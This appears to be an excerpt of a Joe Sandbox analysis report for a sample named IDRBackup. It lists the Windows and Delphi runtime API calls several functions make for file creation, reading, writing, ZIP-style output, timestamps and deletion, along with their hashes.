LocalFree.KERNEL32(00000000,00000040,?,00000040,?,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E933
CloseHandle.KERNEL32(00000000,00000040,?,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E939
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701E9D0
WriteFile.KERNEL32(?,?,0000002E,?,00000000), ref: 5701E9EB
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(0000002E,00000000,?,?,0000002E,?,00000000), ref: 5701EA02
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,0000002E,00000000,?,?,0000002E,?,00000000), ref: 5701EA0A
WriteFile.KERNEL32(?,00000000,00000000,0000002E,00000000,?,?,0000002E,?,00000000), ref: 5701EA14
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,00000000,00000000,0000002E,00000000,?,?,0000002E,?,00000000), ref: 5701EA1F
WriteFile.KERNEL32(?,06054B50,00000016,?,00000000), ref: 5701EA4B
CloseHandle.KERNEL32(?), ref: 5701EA67
GetVersion.KERNEL32(?), ref: 5701EA72
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(?), ref: 5701EA81
DeleteFileW.KERNEL32(00000000,?), ref: 5701EA87
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(?), ref: 5701EA9C
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?), ref: 5701EAA7
DeleteFileA.KERNEL32(00000000,?), ref: 5701EAAD
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(5701EAED,00000000,00000000,00000002,00000000,00000000,00000000,5701EAE6), ref: 5701EACA
@System@@DynArrayClear$qqrrpvpv.RTL120.BPL(5701EAED,00000000,00000000,00000002,00000000,00000000,00000000,5701EAE6), ref: 5701EAD8
@System@@UStrClr$qqrpv.RTL120.BPL(5701EAED,00000000,00000000,00000002,00000000,00000000,00000000,5701EAE6), ref: 5701EAE0

Strings

., xrefs: 5701E9F4

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$File$Unicode$AnsiStringSystem@System@%$T$us$i0$%.$String.$Char$qqrx27Len$qqrx27Write$LocalTime$ArrayChar$qqrx20CreateFromStr$qqrr27Stringus.T$us$i0$%x20Version$AllocAsg$qqrr20AttributesCloseDeleteEnsureErrorFreeHandleLastLength$qqrv.String$qqrr20Stringx20$Asg$qqrpvpxv.Clear$qqrrpvpv.Clr$qqrpv.Clr$qqrpvi.DateDelete$qqrr20Len$qqrx20PointerReadSizeStringii.
String ID: .
API String ID: 3977664932-248832578
Opcode ID: f00742d283becbb2daf5448d8cb475e1053b49274a1531f4fc70833fb6cbb6aa
Instruction ID: bc68f046241f33920a832ba6020a86f4ff9b989748850ba6ba14ad8fd984fae1
Opcode Fuzzy Hash: f00742d283becbb2daf5448d8cb475e1053b49274a1531f4fc70833fb6cbb6aa
Instruction Fuzzy Hash: 53022F74E112499FEB10DBE4DC80BDEB7F8BF08350F504056E514EB292D774AA45CBA6

Function 5701DD70 Relevance: 66.3, APIs: 44, Instructions: 317filetimeCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,5701E102,?,00000000,5701E186), ref: 5701DDB4
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701DDD4
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701DDDA
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701DDFF
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701DE07
CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701DE0D
GetVersion.KERNEL32(00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701DE1D
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102), ref: 5701DE42
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102), ref: 5701DE48
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102), ref: 5701DE72
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102), ref: 5701DE7A
CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102), ref: 5701DE80
ReadFile.KERNEL32(00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003,00000000), ref: 5701DE9D
ReadFile.KERNEL32(00000000,?,00000004,00000008,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?), ref: 5701DEC1
GetFileSize.KERNEL32(00000000,?,00000000,?,00000004,00000008,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000), ref: 5701DEDD
GetVersion.KERNEL32(00000000,?,00000000,?,00000004,00000008,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000), ref: 5701DEF8
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 5701DF13
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,?,00000000), ref: 5701DF30
CloseHandle.KERNEL32(00000000,00000000,00000000,00000004,00000000,?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000), ref: 5701DF6E
GetLastError.KERNEL32(00000000,00000000,00000004,00000000,?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000,?), ref: 5701DF83
CloseHandle.KERNEL32(00000000,00000000,00000000,00000004,00000000,?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000), ref: 5701DF8E
GetLastError.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000,?,00000004,00000008,00000000,00000000,?,00000008), ref: 5701DFA3
GetLastError.KERNEL32(00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003,00000000), ref: 5701DFF8
SetEndOfFile.KERNEL32(00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003), ref: 5701E017
SetFileTime.KERNEL32(00000000,00000000,00000000,?,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000), ref: 5701E037
CloseHandle.KERNEL32(00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003), ref: 5701E03D
GetVersion.KERNEL32(00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003), ref: 5701E052
GetVersion.KERNEL32(00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003), ref: 5701E062
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000), ref: 5701E075
SetFileAttributesW.KERNEL32(00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000), ref: 5701E07B
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(00000000,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000), ref: 5701E091
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000), ref: 5701E099
SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000), ref: 5701E09F
GetVersion.KERNEL32(00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003), ref: 5701E0A6
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003), ref: 5701E0B5
DeleteFileW.KERNEL32(00000000,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000), ref: 5701E0BB
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003), ref: 5701E0CD
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003), ref: 5701E0D5
DeleteFileA.KERNEL32(00000000,00000000,00000000,?,00000008,?,00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000), ref: 5701E0DB
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,?,00000000,00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000), ref: 5701E0EA
GetLastError.KERNEL32(00000000,80000000,00000003,00000000,00000003,08000080,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701E0F1
SetLastError.KERNEL32(00000000,00000000,00000003,08000080,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701E166
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(5701E18D,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701E180

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: File$L120System@@$AnsiStringSystem@System@%Unicode$CreateVersion$ErrorLast$Char$qqrx20Char$qqrx27CloseFromHandleStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20$AttributesDeleteMappingRead$ArrayClr$qqrpvi.SizeTime
String ID:
API String ID: 3300865747-0
Opcode ID: 6e82c3936e22d812ed6e00a874700a1b4cdb1422dc3fc8e2bc3a1a4afdac5c92
Instruction ID: 04a8b6fff5fb4802e52431cfcb51e3fc0e294891d0b0bd23c5e2ce390ee74e7d
Opcode Fuzzy Hash: 6e82c3936e22d812ed6e00a874700a1b4cdb1422dc3fc8e2bc3a1a4afdac5c92
Instruction Fuzzy Hash: 2CB19E30A11698AFEB01DBE4DC45BEEB7F9AF08711F504026F514F72C2C7789A418BA6

Function 5701D980 Relevance: 58.8, APIs: 39, Instructions: 309fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701D9C1
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701D9DE
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701D9E4
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DA06
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DA0E
CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DA14
GetVersion.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DA24
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7), ref: 5701DA42
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7), ref: 5701DA48
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7), ref: 5701DA6B
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7), ref: 5701DA73
CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7), ref: 5701DA79
GetFileSize.KERNEL32(00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701DA8E
@System@@_llmul$qqrv.RTL120.BPL(0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003), ref: 5701DAA4
@System@@_lldiv$qqrv.RTL120.BPL(0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003), ref: 5701DAA9
GetVersion.KERNEL32(0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003), ref: 5701DAD3
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 5701DAEE
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,?,?,00000000), ref: 5701DB0B
CloseHandle.KERNEL32(00000000,00000000,00000000,00000004,?,?,00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000), ref: 5701DB49
GetLastError.KERNEL32(00000000,00000000,00000004,?,?,00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000), ref: 5701DB5E
CloseHandle.KERNEL32(00000000,00000000,00000000,00000004,?,?,00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000), ref: 5701DB69
GetLastError.KERNEL32(0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003), ref: 5701DB7E
WriteFile.KERNEL32(00000000,?,00000008,?,00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002), ref: 5701DC00
WriteFile.KERNEL32(00000000,?,00000004,00000008,00000000,00000000,?,00000008,?,00000000,0000000B,00000000,0000000A,00000000,00000000,?), ref: 5701DC1C
GetLastError.KERNEL32(00000000,?,00000008,?,00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002), ref: 5701DC3A
GetLastError.KERNEL32(0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003), ref: 5701DC43
SetEndOfFile.KERNEL32(00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000), ref: 5701DC6A
CloseHandle.KERNEL32(00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000), ref: 5701DC70
GetVersion.KERNEL32(00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000), ref: 5701DC7B
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000), ref: 5701DC8A
DeleteFileW.KERNEL32(00000000,00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 5701DC90
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000), ref: 5701DCA2
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000), ref: 5701DCAA
DeleteFileA.KERNEL32(00000000,00000000,0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 5701DCB0
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7), ref: 5701DCB7
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000), ref: 5701DCBF
GetLastError.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DCC6
SetLastError.KERNEL32(00000000,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DD3B

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: File$L120$System@@$ErrorLast$AnsiCreateStringSystem@System@%Unicode$CloseHandleVersion$Char$qqrx20Char$qqrx27FromStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20$DeleteMappingWrite$SizeSystem@@_lldiv$qqrv.System@@_llmul$qqrv.
String ID:
API String ID: 3287507679-0
Opcode ID: 0e88eb2983f2f1df8292e274e0a81256c33a44ba3790cbe3e8a4241a28fb1e59
Instruction ID: 6511ad02db3dcd024c2f93cb92443f9a3c3fce52da327c8b59a56d6ea38aef26
Opcode Fuzzy Hash: 0e88eb2983f2f1df8292e274e0a81256c33a44ba3790cbe3e8a4241a28fb1e59
Instruction Fuzzy Hash: 75B19070E55699BFFB00DBE4DC41BEEB7F9AB04710F504416F610B72C2D6B49A028BA6

Function 5701D97E Relevance: 37.7, APIs: 25, Instructions: 236fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701D9C1
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701D9DE
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701D9E4
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DA06
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DA0E
CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DA14
GetVersion.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DA24
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7), ref: 5701DA42
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701DCD7), ref: 5701DA48
GetFileSize.KERNEL32(00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701DA8E
@System@@_llmul$qqrv.RTL120.BPL(0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003), ref: 5701DAA4
@System@@_lldiv$qqrv.RTL120.BPL(0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003), ref: 5701DAA9
GetVersion.KERNEL32(0000000B,00000000,0000000A,00000000,00000000,?,00000000,C0000000,00000000,00000000,00000002,00000000,00000000,00000000,80000000,00000003), ref: 5701DAD3
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 5701DAEE
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,?,?,00000000), ref: 5701DB0B

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: FileL120$Create$System@@$System@UnicodeVersion$AnsiChar$qqrx20MappingStringString.System@%$Char$qqrx27FromSizeStr$qqrr27Stringus.System@@_lldiv$qqrv.System@@_llmul$qqrv.T$us$i0$%.T$us$i0$%x20
String ID:
API String ID: 1368142845-0
Opcode ID: 26f29c7c61a68e74e29d3ab23af5cd780f0c77b192ec55168b40559968ad688e
Instruction ID: 84b200bd32bdd80bbd2b279e72d2f499b37e2cd60d437d4f93e17cb49af1d849
Opcode Fuzzy Hash: 26f29c7c61a68e74e29d3ab23af5cd780f0c77b192ec55168b40559968ad688e
Instruction Fuzzy Hash: 6181A070E546A9BFFB10DBE4CC41BEEB6F9AB04710F504426E510B71C2D7789A42C7A6

Function 5701D77C Relevance: 28.6, APIs: 19, Instructions: 98COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5701D78D
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701D88C), ref: 5701D7A5
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701D88C), ref: 5701D7AA
@System@@LStrSetLength$qqrv.RTL120.BPL(00000000,5701D88C), ref: 5701D7C6
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701D88C), ref: 5701D7D0
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701D88C), ref: 5701D7D5
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701D88C), ref: 5701D7E7
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701D88C), ref: 5701D7EC
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,00000000,5701D88C), ref: 5701D7F5
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701D88C), ref: 5701D80E
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(-0000000C,00000000,5701D88C), ref: 5701D81C
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(-0000000C,00000000,5701D88C), ref: 5701D821
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,-0000000C,00000000,5701D88C), ref: 5701D829
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(-0000000C,00000000,-0000000C,00000000,5701D88C), ref: 5701D835
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701D88C), ref: 5701D84C
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701D88C), ref: 5701D851
@System@@LStrSetLength$qqrv.RTL120.BPL(00000000,5701D88C), ref: 5701D868
@System@@LStrClr$qqrpv.RTL120.BPL(00000000,5701D88C), ref: 5701D871
@System@@LStrClr$qqrpv.RTL120.BPL(5701D893), ref: 5701D886

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
